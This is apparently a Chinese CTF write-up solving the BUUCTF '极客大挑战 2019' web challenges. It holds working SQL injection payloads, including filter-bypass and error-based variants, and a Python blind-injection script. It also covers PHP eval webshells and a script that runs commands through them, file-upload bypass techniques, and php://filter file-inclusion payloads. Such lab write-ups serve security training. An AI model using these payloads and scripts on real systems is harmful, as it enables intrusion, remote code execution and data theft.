[极客大挑战 2019]EasySQL

image-20250114000406548

直接万能密码闭合后登录即获得flag

闭合后语句username=1&password='1' or 1=1#'

[极客大挑战 2019]LoveSQL

使用万能密码尝试

username=1&password=1' or 1=1#

image-20250114002423442

有回显位置了,且题目提示flag放在了其他位置,下述payload的password均为上图数据

username=admin' order by 3# 
order by判断列数,列数为4时报错
username=a' union select 1,2,3#
用不存在的username才能找到回显位,不然使用admin只会重复上图,回显位为23
username=a' union select 1,(database()),3#
库名为geek
username=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),3#
表名有geekuser,l0ve1ysq1
username=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3#
列名有id,username,password
username=a' union select 1,(select group_concat(password) from l0ve1ysq1),3#
获得flag

[极客大挑战 2019]BabySQL

同样的payload

username=1&password=1' or 1=1#

image-20250114001017855

发现or没了,推测过滤or,尝试双写绕过成功登录(大小写绕过失败,换为||成功)

username=1&password=1' oorr 1=1#
如果是双写能成功登录就可直接爆库表列flag,但是双写不能绕过or过滤时,相当于过滤information_schema表,此时表名可通过mysql.innodb_table_stats表中相同方式爆出,flag通过无列名注入爆出
username=admin' oorrder by 3#
此时仍然报错了,根据报错内容推测把by也过滤了
username=admin' oorrder bbyy 3#
成功登录,接下来正常流程
username=a' union select 1,2,3#
这个payload也报错,根据报错内容推测unionselect都ban了
username=a' ununionion seselectlect 1,2,3#
成功找到回显位为2,3
username=a' ununionion seselectlect 1,(database()),3#
库名为geek
username=a' ununionion seselectlect 1,(seselectlect group_concat(table_name) from infoorrmation_schema.tables where table_schema='geek'),3#
还报错,根据报错提示将from和where也双写
username=a' ununionion seselectlect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'),3#
表名为b4bsql,geekuser
username=a' ununionion seselectlect 1,(seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),3#
列名为id,username,password
username=a' ununionion seselectlect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3#
获得flag(注意爆flag时password中也有or)

[极客大挑战 2019]HardSQL

随便尝试万能密码注入,显示错误,用bpfuzz判断一下哪些字符被过滤了

image-20250114151130916

可以看到很多字符被过滤了,而ascii,left,join,select,floor,like,updatexml等关键词未被过滤

尝试报错注入
password=1'or(updatexml(1,concat(0x7e,(database()),0x7e),1))#
库名为geek,注意等号也被过滤了
password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
表名为H4rDsq1
password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
列名为id,username,password
password=1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#
但是只出来一半的flag,使用substr(被ban),left,right解决,flag{1017f607-85ef-46d4-8d03-04
password=1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#
获得右边一半7-85ef-46d4-8d03-04400211b36b},拼接

[极客大挑战 2019]FinalSQL

题目提示要找到第六个代码,并且在url中有id

image-20250114160424856
结合题目提示使用盲注,尝试对id进行布尔盲注,这里要涉及到异或,两个数相同返回0,不同返回1

id=1^1           #报错
id=1^0 #id为1的页面
即后面的数字为注入点
尝试payload
id=1^(substr(database(),1,1)='g') #报错
id=1^(substr(database(),1,1)='c') #id为1的页面
可正常布尔盲注,脚本如下(由于最后的一排数据过多,对force3函数优化,查询后停0.1秒,能有效避免请求过多,且上限提升至600,所以把每个都增加了查询后停0.1秒)
import requests
import time

def force(url):
find=''
for i in range(1,200):
found_char=False
for j in range(32,128):#根据需要更改字典
payload = {'id':f"1^(ascii(substr(database(),{i},1))={j})"}
r = requests.get(url=url,params=payload).text

if('ERROR' in r):
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,库名为"+find)
break
return find

def force1(url):
find=''
for i in range(1,200):
found_char=False
for j in range(32,128):#根据需要更改字典
payload = {'id':f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='{database}')),{i},1))={j})"}
r = requests.get(url=url,params=payload).text

if('ERROR' in r):
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,表名为"+find)
break

def force2(url):
find=''
for i in range(1,200):
found_char=False
for j in range(32,128):#根据需要更改字典
payload = {'id':f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{table}')),{i},1))={j})"}
r = requests.get(url=url,params=payload).text

if('ERROR' in r):
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,列名为"+find)
break

def force3(url):
find=''
for i in range(1,600):
found_char=False
for j in range(32,128):#根据需要更改字典
payload = {'id':f"1^(ascii(substr((select(group_concat({column}))from({table})),{i},1))={j})"}
r = requests.get(url=url,params=payload).text
time.sleep(0.1)
if('ERROR' in r):
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,flag为"+find)
break


if __name__ =="__main__":
#指定url
url='http://71344066-f916-483f-a15a-230ea9111242.node5.buuoj.cn:81/search.php'
database=force(url)
force1(url)
table=input("请输入表名:")
force2(url)
column=input("请输入列名:")
force3(url)

image-20250114165803654

image-20250114165812301

image-20250114170056828

image-20250114185819288

[极客大挑战 2019]Havefun

页面没啥找的就先看原码,看到注释部分提示GET传参cat=dog,传参后获得flag

image-20250114010028607

image-20250114010145776

[极客大挑战 2019]Http

打开页面没什么信息,在源码中找到Secret.php页面

image-20250114191647807

访问提示不是来自https://Sycsecret.buuoj.cn,即涉及到referer伪造,参考详解请求头信息

image-20250114191714414

抓包在bp重发器中伪造referer后如下

image-20250114192249528

提示用”Syclover” browser,将UA更换为Syclover后重发如下

image-20250114192458641

提示只能本地使用,那就通过X-Forwarded-For来伪造

image-20250114192843378

[极客大挑战 2019]Knife

基础解法

image-20250114193146754

进入环境就看到一句话木马,直接通过蚁剑连接即可

image-20250114193503087


后面看了其他师傅的wp,发现这个题思路还有很多,以下再提供两个大佬的其他思路,可参考原文[士别三日wyx](https://blog.csdn.net/wangyuxiang946/article/details/121023808?ops_request_misc=%7B%22request%5Fid%22%3A%22171075928816800182711393%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=171075928816800182711393&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-121023808-null-null.142^v99^pc_search_result_base7&utm_term=[极客大挑战 2019]Knife&spm=1018.2226.3001.4187)和[Senimo_](https://blog.csdn.net/weixin_44037296/article/details/109151169?ops_request_misc=%7B%22request%5Fid%22%3A%22171075928816800182711393%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=171075928816800182711393&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-4-109151169-null-null.142^v99^pc_search_result_base7&utm_term=[极客大挑战 2019]Knife&spm=1018.2226.3001.4187)

进阶解法一

一句话木马本身是利用代码执行的函数进行运行,说的简单点就是你的post请求传入eval()中,那也就是说,我们可以修改Post请求的参数来执行代码!

打开hackbar执行:

Syc=phpinfo();

可以直接进入展示PHP信息界面:

image-20250116173819465

这里很多人有疑问了,为什么要进入这里呢,因为在这个phpinfo界面下是无任何过滤的,这也是为什么,大多数网站的题目都要禁止或者加密不让访问这个界面,接下来进入下一步:

我们使用var_dump()+scandir()查看一下根目录:

Syc=var_dump(scandir('/'));

看起来无变化,但是只是由于背景颜色遮挡,直接看源码

image-20250116174019673

可以看到flag文件夹了,ctf有一个不成文的规矩就是要么不出flag字符,要么出现flag就在这里边!

那就访问下就好,使用vay_dump+file_get_contents()查看文件就还好了:

Syc=var_dump(file_get_contents('/flag'));

image-20250116174104875

在源码中就可以找到flag

这里引用大佬的一段话

喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全。

进阶解法二

连接一句木马并使用SHELL,需要将一句话木马作为POST传值的参数,将PHP语句作为值传入,并通过PHP语句执行SHELL命令。

我们剖析一下菜刀的原理,先看下菜刀发送的数据包:

op=@eval(base64_decode($_POST[attack]));&attack=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

op=@eval(base64_decode($_POST[attack]));为正常的一句话木马,其通过POST方式传参,参数名为attack
base64_decode()函数解码了传入的值
因为对传入的值进行BASE64编码可以有效的防止特殊字符传输失败的异常。
把值进行BASE64解码,得到:

@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; print("hello PHP!");; echo("|<-"); die();

首先进行测试,hackbar传参可获得回显
image-20250116174518979

因此直接搬运脚本

# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp06:BUUCTF [极客大挑战 2019] Knife

import requests
import re


class Knife:
def __init__(self, url_input):
self.payload_data = {"Syc": "exec('cat /flag',$out);print_r($out);die();"}
self.status_code = 1 # 链接状态:0:无效,1:连通
self.url = url_input.strip()
self.flag = ''

def url_test(self):
# 可以重复输错10次链接
for i in range(9):
try:
# 对输入的url做判断
if self.url.endswith('/index.php') or self.url.endswith('buuoj.cn/') or self.url.endswith('buuoj.cn'):
# 尝试访问链接是否为200
requests.get(self.url)
print('测试状态: 200 ' + self.url)
except:
print('无效链接!请重新输入!')
self.url = input('请输入题目链接:')
self.status_code = 0

else:
self.status_code = 1
break

if self.status_code == 0:
print('无效链接!退出程序!')
return

def num_test(self):
# 设置获取flag只能重复30次
for i in range(30):
try:
r = requests.post(self.url, data=self.payload_data)

# 匹配buuctf平台flag格式
self.flag = re.search(r'flag\{.+\}', r.text).group()

except:
print('第 ' + str(i+1) + ' 次未获取到flag! 正在重试!')
else:
break

def run(self):
self.url_test() # 连接测试
self.num_test() # flag获取

if self.flag == '':
print('已尝试30次!未获取到flag! 退出程序!')

return self.flag


if __name__ == '__main__':
print('ctf_exp0: BUUCTF [极客大挑战 2019] Knife')
url_input = input('请输入题目链接:')
print(Knife(url_input).run())
input() # 防止退出cmd

同样可以获得flag

image-20250116174719694

[极客大挑战 2019]BuyFlag

源码中发现pay.php,进入后再次在源码中找到注释内容

image-20250116154421464

即password传参为404且不全为数字(弱比较),即传404a都行

在pay.php页面中发现提示必须以学生身份购买flag,发现cookie中有user=0,尝试改为1

image-20250116155348907

提示还需要pay,因此传money=100000000,提示数字过长,使用科学计数法获得flag

image-20250116155500321

[极客大挑战 2019]Upload

写含一句话木马<?php eval($POST['123']);?>的php文件尝试上传

image-20250116160408869

显示不是图片文件,直接抓包修改后缀为image/jpeg判断是否是客户端验证

image-20250116160628726

返回not php,说明成功绕过文件类型限制,但是还是要对文件内容进行检测,将文件内容改为

<script language='php'>@eval($_POST['123']);</script>

将后缀改为phtml可绕过php限制(绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)

还是提示不是上传的图片文件,因此通过伪造jpg文件头成功上传,前面加上GIF89a,这个可以伪造成jpg格式的文件。

image-20250116161855456

image-20250116162113948

上传成功后就要找到保存路径通过蚁剑连接,一般保存在/upload下

image-20250116162346128

成功找到该文件,通过蚁剑连接,注意蚁剑url地址为url/upload/filename

image-20250116162834596

在根目录下找到flag

[极客大挑战 2019]Secret File

根据题目先在源码中找到/Archive_room.php,访问secret后发现直接跳转到end.php中,并且显示查阅结束,因此抓包重新看过程

image-20250116164803864

发现注释了secr3t.php,bp访问得下图,即文件包含漏洞

image-20250116164855835

源码如下

<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

即构造一个伪协议,payload如下

file=php://filter/resource=flag.php

image-20250116170023492

提示就在这里但是看不到,尝试base64编码后读取,payload如下

file=php://filter/read=convert.base64-encode/resource=flag.php

image-20250116170256946

将下列字符解码后得到

image-20250116170330203

贴一个python的base64解码脚本

import base64  

def base64_decoder(encoded_string):
try:
decoded_bytes = base64.b64decode(encoded_string)
decoded_string = decoded_bytes.decode('utf-8')
return decoded_string
except Exception as e:
return f"解码失败: {e}"

# 示例用法
encoded_string = input("请输入待解码字符串:") # 这是的Base64编码
decoded_string = base64_decoder(encoded_string)
print(decoded_string)